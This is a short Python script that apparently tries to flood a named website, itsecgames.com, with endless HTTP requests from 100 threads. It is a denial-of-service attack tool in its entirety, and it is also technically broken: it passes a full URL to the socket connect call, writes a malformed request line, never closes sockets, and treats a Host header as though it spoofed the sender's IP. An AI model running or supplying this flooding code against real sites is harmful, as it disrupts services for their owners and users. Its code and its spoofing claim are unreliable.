import threading
import socket


target = 'http://www.itsecgames.com/'
port = 80
fakeIP = '192.12.16.2'

def attack():
    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.sendto(("GET /"+ target + "HTTP/1.1\r\n").encode('ascii'), (target, port))
        s.sendto(("Host: "+ fakeIP + "\r\n\r\n").encode('ascii'), (target, port))

for i in range(100):
    thread = threading.Thread(target = attack)
    thread.start()